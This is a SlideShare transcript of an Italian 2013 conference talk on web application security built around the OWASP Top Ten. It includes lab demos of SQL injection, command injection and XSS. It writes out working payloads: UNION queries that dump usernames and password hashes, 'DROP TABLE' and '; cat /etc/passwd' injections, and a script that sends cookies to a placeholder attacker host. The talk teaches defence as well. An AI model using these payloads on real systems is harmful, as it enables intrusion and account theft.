festival ICT 2013: Sicurezza delle applicazioni web
Upcoming SlideShare
Loading in...5
×
 

festival ICT 2013: Sicurezza delle applicazioni web

on

  • 1,002 views

 

Statistics

Views

Total Views
1,002
Views on SlideShare
1,001
Embed Views
1

Actions

Likes
0
Downloads
38
Comments
0

1 Embed 1

https://twitter.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

festival ICT 2013: Sicurezza delle applicazioni web festival ICT 2013: Sicurezza delle applicazioni web Presentation Transcript

  • Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web Andrea Zwirner andrea@linkspirit.org @AndreaZwirner Nota: in questa versione scaricabile, ho inserito alcune slide con gli screenshot di quanto fatto come demo in corso di laboratorio, corredandole di una breve descrizione. Spero che questa sia sufficientemente chiara, nel caso di dubbi o perplessità, in questa pagina ci sono i miei contatti: usateli senza farvi scrupoli! :-) Nei limiti di tempo impostimi dai miei impegni, cercherò di rispondere a tutte le domande. Grazie dell'interesse, spero di reincontrarvi tutti al FdT ICT 2014! :-)
  • Andrea Zwirner ● Consulente nei campi della sicurezza informatica e forense (security auditing, penetration testing) ● Formazione nel campo della sicurezza ● Articolista e revisore per la rivista di settore PenTest Magazine ● Collaborazione con ISECOM (Instiute for Security and Open Methodologies) ● Hacker Highschool – Security awareness for teens ● Secure Programming Guidelines – in fase di ultimazione Andrea Zwirner Sicurezza delle Applicazioni Web 2
  • Cos'è la sicurezza informatica insieme di misure di carattere organizzativo, tecnologico e procedurale mirate ad assicurare ● C O N F I D E N Z I A L I T ÀC O N F I D E N Z I A L I T À ● I N T E G R I T ÀI N T E G R I T À ● D I S P O N I B I L I T ÀD I S P O N I B I L I T À dell'informazione. Andrea Zwirner Sicurezza delle Applicazioni Web 3
  • Sicurezza delle applicazioni web ● Il web non è stato progettato per essere sicuro: ● Contenuti statici in sola lettura ● Nessuna sicurezza implicita (o “by design”) Andrea Zwirner Sicurezza delle Applicazioni Web 4
  • Sicurezza delle applicazioni web ● Il web non è stato progettato per essere sicuro: ● Contenuti statici in sola lettura ● Nessuna sicurezza implicita (o “by design”) ● Il Web 2.0 eredita queste peculiarità dal suo predecessore, fornendo ● Ampia superficie d'attacco (ha più componenti) ● Svariati petabyte di informazioni di miliardi di utenti (privati, aziende, banche e governi) ● Accesso diretto alle macchine degli utenti stessi Andrea Zwirner Sicurezza delle Applicazioni Web 5
  • www.draw-shapes..de firewall client utente/sistema draw-shapes.de web server database autenticazione autorizzazione www.draw-shapes.de web service controllo accessi Superficie d'attacco… Andrea Zwirner Sicurezza delle Applicazioni Web 6
  • Application security ● Modellazione ed analisi dei rischi derivanti dal software ● Consapevolezza di analisti / sviluppatori / beta tester / utenti finali ● Sviluppo dell'architettura (secure by design) ● Ciclo di sviluppo del software ● Scrittura del codice ● Controlli di sicurezza comuni ( non dovrebbe != non è ) Andrea Zwirner Sicurezza delle Applicazioni Web 7
  • La metodologia O W A S P Open Web Application Security Project Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui Andrea Zwirner Sicurezza delle Applicazioni Web 8
  • OWASP – Top Ten Project ● Descrive le dieci vulnerabilità valutate più rischiose in ambito web application ● Finalizzato ad educare sviluppatori, designer, manager ed organizzazioni circa le problematiche trattate ● Fornisce linee guida per la rilevazione delle problematiche selezionate e la loro prevenzione ● Indipendente da linguaggio / framework utilizzato Andrea Zwirner Sicurezza delle Applicazioni Web 9
  • Top Ten 2013 Andrea Zwirner Sicurezza delle Applicazioni Web 10
  • Top Ten 2013 ● A1: Injection ● A2: Broken Authentication and Session Management ● A3: Cross-Site Scripting (XSS) ● A4: Insecure Direct Object References ● A5: Security Misconfiguration ● A6: Sensitive Data Exposure ● A7: Missing Function Level Access Control ● A8: Cross-Site Request Forgery (CSRF) ● A9: Using Known Vulnerable Components ● A10: Unvalidated Redirects and Forwards Andrea Zwirner Sicurezza delle Applicazioni Web 11
  • A1 – Injection – descrizione ● La vulnerabilità ● Avviene quando dati non fidati sono inviati direttamente ad un interprete (SQL, OS, LDAP, etc) ● Un attaccante può inviare richieste forgiate in modo da forzare l'interprete ad eseguire comandi non previsti ● Vettori d'attacco ● Qualunque fonte di dati, incluse quelle interne Andrea Zwirner Sicurezza delle Applicazioni Web 12
  • A1 – Injection – esempio: SQL injection ● Parametrizzazione insicura di una query: 1. var_id = _post(id); 2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”; 3. result = invia_query_al_database(query); 4. fai_qualcosa_con(result); ● Parametri attesi _post(id) = n naturale (o, al più, intero) Andrea Zwirner Sicurezza delle Applicazioni Web 13
  • A1 – Injection – esempio: SQL injection ● Parametrizzazione insicura di una query: 1. var_id = _post(id); 2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”; 3. result = invia_query_al_database(query); 4. fai_qualcosa_con(result); ● Parametri attesi _post(id) = n naturale (o, al più, intero) ● Esempio di parametro inatteso _post(id) = 23'; DROP TABLE tab; ­­ Andrea Zwirner Sicurezza delle Applicazioni Web 14
  • A1 – Injection – esempio: SQL injection ● Parametrizzazione insicura di una query: 1. var_id = _post(id); 2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”; 3. result = invia_query_al_database(query); 4. fai_qualcosa_con(result); ● Parametri attesi _post(id) = n (naturale o intero) ● Esempio di parametro inatteso _post(id) = 23'; DROP TABLE tab; ­­ SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; ­­' Andrea Zwirner Sicurezza delle Applicazioni Web 15
  • A1 – Injection Fun Pronto, qui è la scuola di suo figlio, abbiamo qualche problema informatico. Oh, mi dica... Robert ha mica rotto qualcosa? In un certo senso... Senta, suo figlio si chiama veramente Robert'); DROP TABLE Students; --? … Andrea Zwirner Sicurezza delle Applicazioni Web 16
  • A1 – Injection Fun ZU 0666',0,0); DROP DATABASE TABLICE; -- Andrea Zwirner Sicurezza delle Applicazioni Web 17
  • A1 – Injection – esempio: command injection ● Parametrizzazione insicura di un comando shell: 1. var_ip = _post(ip); 2. command = “/bin/ping ­c1 ” + var_ip; 3. result = esegui_comando(command); 4. stampa_nella_pagina(result); ● Parametri attesi _post(ip) = ip (indirizzo IP) ● Parametri inattesi _post(ip) = 127.0.0.1; cat /etc/passwd Andrea Zwirner Sicurezza delle Applicazioni Web 18
  • Facciamo una prova? Vi va? Andrea Zwirner Sicurezza delle Applicazioni Web 19
  • Andrea Zwirner Sicurezza delle Applicazioni Web 20 Demo SQL Injection – il laboratorio FdT ICT edition :-)
  • Andrea Zwirner Sicurezza delle Applicazioni Web 21 Demo SQL Injection – il laboratorio FdT ICT edition :-) Notiamo che vi è corrispondenza fra il parametro username (ospite) e quanto riportato in tabella Notiamo che vi è corrispondenza fra il parametro username (ospite) e quanto riportato in tabella
  • Andrea Zwirner Sicurezza delle Applicazioni Web 22 Demo SQL Injection – il laboratorio FdT ICT edition :-) Proviamo a variare il parametro per verificare se vi è un riferimento diretto al database (e quindi anche una Direct Object Reference (A4)) Proviamo a variare il parametro per verificare se vi è un riferimento diretto al database (e quindi anche una Direct Object Reference (A4))
  • Andrea Zwirner Sicurezza delle Applicazioni Web 23 Demo SQL Injection – il laboratorio FdT ICT edition :-) Se lo username non esiste, la tabella è vuota, ma viene costruita. Se lo username non esiste, la tabella è vuota, ma viene costruita.
  • Andrea Zwirner Sicurezza delle Applicazioni Web 24 Demo SQL Injection – il laboratorio FdT ICT edition :-) IT ALL STARTS WITH AN ' Se il parametro invece è ' (apostrofo), la tabella non viene proprio costruita: abbiamo rotto qualcosa. L'applicazione è SQL-injectable! IT ALL STARTS WITH AN ' Se il parametro invece è ' (apostrofo), la tabella non viene proprio costruita: abbiamo rotto qualcosa. L'applicazione è SQL-injectable!
  • Andrea Zwirner Sicurezza delle Applicazioni Web 25 Demo SQL Injection – il laboratorio FdT ICT edition :-) Vediamo quindi il risultato di un classico parametro=valore' OR '1' = '1 Vengono mostrati tutti i record Vediamo quindi il risultato di un classico parametro=valore' OR '1' = '1 Vengono mostrati tutti i record
  • Andrea Zwirner Sicurezza delle Applicazioni Web 26 Demo SQL Injection – il laboratorio FdT ICT edition :-) ● A questo punto partiamo con delle UNION query per avere nome del database (lab): ospite' UNION ALL SELECT database(), 2,3,4 %23 ● Nota: %23 rappresenta il carattere # (URL encoding) che inizia un commento in MySQL ( il -- in SQL standard ) e serve per commentare l'ultimo apice inserito dal programmatore della web application
  • Andrea Zwirner Sicurezza delle Applicazioni Web 27 Demo SQL Injection – il laboratorio FdT ICT edition :-) ● Quindi enumeriamo le tabelle contenute nel database lab (fra cui users): ospite' UNION ALL SELECT table_name, 2,3,4 FROM information_schema.tables WHERE table_schema='lab' %23
  • Andrea Zwirner Sicurezza delle Applicazioni Web 28 Demo SQL Injection – il laboratorio FdT ICT edition :-) ● Ed ora i campi contenuti nella tabella users (fra cui password) ospite' UNION ALL SELECT ordinal_position, column_name, 3,4 FROM information_schema.columns WHERE table_schema='lab' AND table_name = 'users' %23
  • Andrea Zwirner Sicurezza delle Applicazioni Web 29 Demo SQL Injection – il laboratorio FdT ICT edition :-) Bene, ci siamo. Ora vediamo le password: ospite' UNION ALL SELECT username, password, 3,4 FROM users %23 Bene! Sono MD5: possiamo procedere a craccarle (esercizio per casa! :-) Bene, ci siamo. Ora vediamo le password: ospite' UNION ALL SELECT username, password, 3,4 FROM users %23 Bene! Sono MD5: possiamo procedere a craccarle (esercizio per casa! :-)
  • A1 – Injection Fun Andrea Zwirner Sicurezza delle Applicazioni Web 30
  • A1 – Injection – prevenzione ● Fare escaping dei caratteri speciali, usando le sequenze specifiche per l'interprete ● Usare API che neghino l'uso diretto dell'interprete, fornendo un interfaccia parametrizzata ● Nel caso SQL, attenzione all'uso si Stored Procedures, che possono essere forzate a loro volta (!) Andrea Zwirner Sicurezza delle Applicazioni Web 31
  • A1 – Injection – rilevazione ● Se non sono stati definiti standard di sviluppo, partire dal presupposto che si è vulnerabili ● Verifica del codice ● Cercare i punti nel codice in cui viene richiamato l'interprete ● Assicurarsi che i comandi siano separati dai dati non fidati ● Penetration test Andrea Zwirner Sicurezza delle Applicazioni Web 32
  • A3 – Cross-Site Scripting (XSS) ● La vulnerabilità ● Avviene quando un'applicazione include informazioni non fidate nei contenuti serviti agli utenti. ● L'attacco consiste nell'inviare ai browser degli utenti script che ne sfruttano l'interprete ● Permette l'esecuzione di codice lato client, all'interno del browser ● Vettori d'attacco ● Qualunque fonte di dati, comprese quelle interne, come il database Andrea Zwirner Sicurezza delle Applicazioni Web 33
  • A3 – Cross-Site Scripting (XSS) ● Le falle XSS si dividono in tre tipologie ● Stored XSS ● Il codice malevolo è persistente a database ● Reflected XSS ● Il codice malevolo è contenuto nella risposta data dal web server ad una domanda forgiata ● DOM based XSS ● Il codice malevolo è frutto della modifica all'ambiente DOM del browser dell'utente (avviene tutto lato client) Andrea Zwirner Sicurezza delle Applicazioni Web 34
  • JavaScript browser environment Document Object Model (DOM) document and related objects allow to access contents of the page, modify elements etc. Most interaction with HTML is handled here. Browser Object Model (BOM) BOM is a pack of objects that allow to control the browser, e.g change current URL, access frames, do background requests to server with XMLHttpRequest etc. Functions like alert,confirm,prompt also belong BOM, they are provided by the browser. JavaScript objects and functions JavaScript itself is a language which gives us access to DOM, BOM and provides objects and functions of its own. Andrea Zwirner Sicurezza delle Applicazioni Web 35
  • A3 – Cross-Site Scripting (XSS) – scenari d'attacco ● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”) ● Nome: Andrea ● Commento: questo è un bel sito! Andrea Zwirner Sicurezza delle Applicazioni Web 36
  • A3 – Cross-Site Scripting (XSS) – scenari d'attacco ● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”) ● Nome: Andrea ● Commento: questo è un bel sito! ● Il risultato sarà qualcosa tipo <html> <h1>Commenti degli utenti</h1> Tizio: ma che nome c'ho?<br/> Caio: a chi lo dici!<br/> Andrea: questo è un bel sito!<br/> </html> Andrea Zwirner Sicurezza delle Applicazioni Web 37
  • A3 – Cross-Site Scripting (XSS) – scenari d'attacco ● Fin qui tutto bene, ma se nel modulo fosse stato inserito: ● Nome: Andrea ● Commento: bello davvero! <script>alert('XSS');</script> Andrea Zwirner Sicurezza delle Applicazioni Web 38
  • A3 – Cross-Site Scripting (XSS) – scenari d'attacco ● Fin qui tutto bene, ma se nel modulo fosse stato inserito: ● Nome: Andrea ● Commento: bello davvero! <script>alert('XSS');</script> ● La pagina sarebbe diventata: <html> <h1>Commenti degli utenti</h1> Tizio: ma che nome c'ho?<br/> Caio: a chi lo dici!<br/> Andrea: bello davvero! <script>alert('XSS');</script><br/> </html> Andrea Zwirner Sicurezza delle Applicazioni Web 39
  • A3 – Cross-Site Scripting (XSS) – scenari d'attacco ● Risultato: esecuzione di script all'interno del browser di tutti i visitatori Andrea Zwirner Sicurezza delle Applicazioni Web 40
  • A3 – Il celebre alert('XSS') ● Si tratta di un attacco tanto famoso da avere addirittura un profilo professionale su LinkedIn Andrea Zwirner Sicurezza delle Applicazioni Web 41
  • A3 – Cross-Site Scripting (XSS) – scenari d'attacco ● Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi anche gli ID di sessione) ed impersonarli all'interno del sito. ● Nome: Andrea ● Commento: <script> new Image.src='http://IP_ATTACCANTE/ruba_cookie.cgi?dati='   + document.cooke </script> Andrea Zwirner Sicurezza delle Applicazioni Web 42
  • Facciamo una prova? Vi va? Andrea Zwirner Sicurezza delle Applicazioni Web 43
  • Andrea Zwirner Sicurezza delle Applicazioni Web 44 Demo reflected cross-site scripting Vediamo che il parametro nome è riportato all'interno della pagina. Nel caso in cui non ne venga fatto escaping, potremo riportare nella pagina tag <script> e </script>. Vediamo che il parametro nome è riportato all'interno della pagina. Nel caso in cui non ne venga fatto escaping, potremo riportare nella pagina tag <script> e </script>.
  • Andrea Zwirner Sicurezza delle Applicazioni Web 45 Demo reflected cross-site scripting A quanto pare, questo succede! :-) Abbiamo iniettato la stringa <script>alert('XSS')</script> All'interno del codice della pagina. L'attacco è di tipo reflected XSS A quanto pare, questo succede! :-) Abbiamo iniettato la stringa <script>alert('XSS')</script> All'interno del codice della pagina. L'attacco è di tipo reflected XSS
  • Andrea Zwirner Sicurezza delle Applicazioni Web 46 Demo reflected cross-site scripting Nel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che l'immagine cercata non esiste. Nel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che l'immagine cercata non esiste.
  • Andrea Zwirner Sicurezza delle Applicazioni Web 47 Demo DOM based cross-site scripting In questo esempio il nome è scritto sulla pagina da una funzione JavaScript contenuta all'interno del codice della pagina stessa e che modifica il documento lato client, in funzione degli anchor contenuti nell'URL (→ location.hash). La stringa da iniettare per l'attacco sarà uguale all'esempio reflected, ma il funzionamento dell'attacco è profondamente differente: prima il parametro era riportato nella pagina da una funzione eseguita lato server, qui avviene tutto lato client (la pagina potrebbe essere del tutto statica). In questo esempio il nome è scritto sulla pagina da una funzione JavaScript contenuta all'interno del codice della pagina stessa e che modifica il documento lato client, in funzione degli anchor contenuti nell'URL (→ location.hash). La stringa da iniettare per l'attacco sarà uguale all'esempio reflected, ma il funzionamento dell'attacco è profondamente differente: prima il parametro era riportato nella pagina da una funzione eseguita lato server, qui avviene tutto lato client (la pagina potrebbe essere del tutto statica).
  • Andrea Zwirner Sicurezza delle Applicazioni Web 48 Demo DOM based cross-site scripting A tal riguardo è interessante notare che, cambiando il parametro, il contenuto della pagina generata varia, ma il suo sorgente resta lo stesso! Per questo per vedere il cambiamento nella pagina, una volta modificato il parametro, è fra l'altro necessario ricaricarla (non basta battere invio): non variando il suo sorgente il browser semplicemente non fa alcuna modifica a quanto visualizzato (e non ri-esegue gli script), in quanto non si aspetta vi siano cambiamenti A tal riguardo è interessante notare che, cambiando il parametro, il contenuto della pagina generata varia, ma il suo sorgente resta lo stesso! Per questo per vedere il cambiamento nella pagina, una volta modificato il parametro, è fra l'altro necessario ricaricarla (non basta battere invio): non variando il suo sorgente il browser semplicemente non fa alcuna modifica a quanto visualizzato (e non ri-esegue gli script), in quanto non si aspetta vi siano cambiamenti
  • Andrea Zwirner Sicurezza delle Applicazioni Web 49 Demo DOM based cross-site scripting Per concludere ecco l'attacco e la PoC dell'esistenza della vulnerabilità. Anche in questo caso, come atteso, il sorgente della pagina non varia. Per concludere ecco l'attacco e la PoC dell'esistenza della vulnerabilità. Anche in questo caso, come atteso, il sorgente della pagina non varia.
  • A3 – Cross-Site Scripting (XSS) – prevenzione ● Il concetto è quello di separare i dati non fidati dai contenuti web (da inviare ai browser) ● Fare escaping dei contenuti non fidati (JavaScript, CSS, URL, etc) ● OWASP XSS Prevention Cheat Sheet ● Nel caso non ci sia necessità di input di caratteri speciali, applicare white list per la validazione degli input (e.g. solo lettere per i nomi, solo cifre per i numeri, solo cifre + “/” per le date, etc) ● Nei casi di rich contents, cosiderare l'uso di librerie di auto- sanization ● OWASP AntiSamy Andrea Zwirner Sicurezza delle Applicazioni Web 50
  • A3 – Cross-Site Scripting (XSS) – rilevazione ● Considerando di avere già inserito a DB codice malevolo, bisogna verificare che qualunque contenuto inviato sia gestito correttamente (escaped) prima di includerlo in ogni pagina. ● L'unico modo certo è combinare: ● Ricerca manuale nel codice ● Pen Testing ● Esistono tool automatici per la ricerca delle falle (ad esempio DOMinator di Minded Security) Andrea Zwirner Sicurezza delle Applicazioni Web 51
  • Abbiamo finito. Andrea Zwirner Sicurezza delle Applicazioni Web 52
  • Laboratorio – configurazione dispositivi ● File di hosts: ● Windows ● Notepad (come amministratore) ● C:WINDOWSsystem32driversetchosts ● Mac OS X ● sudo … ● /private/etc/hosts ● Linux ● sudo … ● /etc/hosts ● Configurare nel file di hosts 10.255.251.27 target Andrea Zwirner Sicurezza delle Applicazioni Web 53
  • Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web Andrea Zwirner andrea@linkspirit.org @AndreaZwirner
  • Approfondimenti consigliati ● Wikipedia – Application Security – 2013 ● Tutti i documenti pubblicati da OWASP, ed in particolare ogni Cheat Sheet ● Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it right – 2013 ● P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN ● B. Guimarães – Advanced SQL injection to operating system full control – 2009 ● R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where! ● E. Benoist – Brocken Authentication and Session Management – 2012 ● B. Hardin – Series about the Owasp Top 10 – 2009 ● Euorpean Commission – Cybersecurity Strategy of the European Union – 2013 ● K. Kuliukas – How Rainbow Tables work ● google! Andrea Zwirner Sicurezza delle Applicazioni Web 55
  • Risorse OWASP da non perdere ● Testing Project Definisce le best practices per la conduzione di test di sicurezza ad applicazioni web, indirizzata a sviluppatori e beta tester. ● Code Review Project Metodi di revisione del codice suddivisi per controllo (authentication / authorization) e per tipologie di minacce / vulnerabilità ● Secure Coding Practices - Quick Reference Guide Check list per la verifica dell'utilizzo delle secure coding best practices (17 pag. - life cycle) ● WebGoat Project Applicazione web per impratichirsi con le tecniche di testing “Developers should not feel bad about not knowing security. Even the best programmers make security errors. What they need is a scapegoat, right?” ● Web Testing Environment Project (storicamente Live CD Project) ● Distribuzione specificatamente pensata per il Web Application penetration testing Andrea Zwirner Sicurezza delle Applicazioni Web 56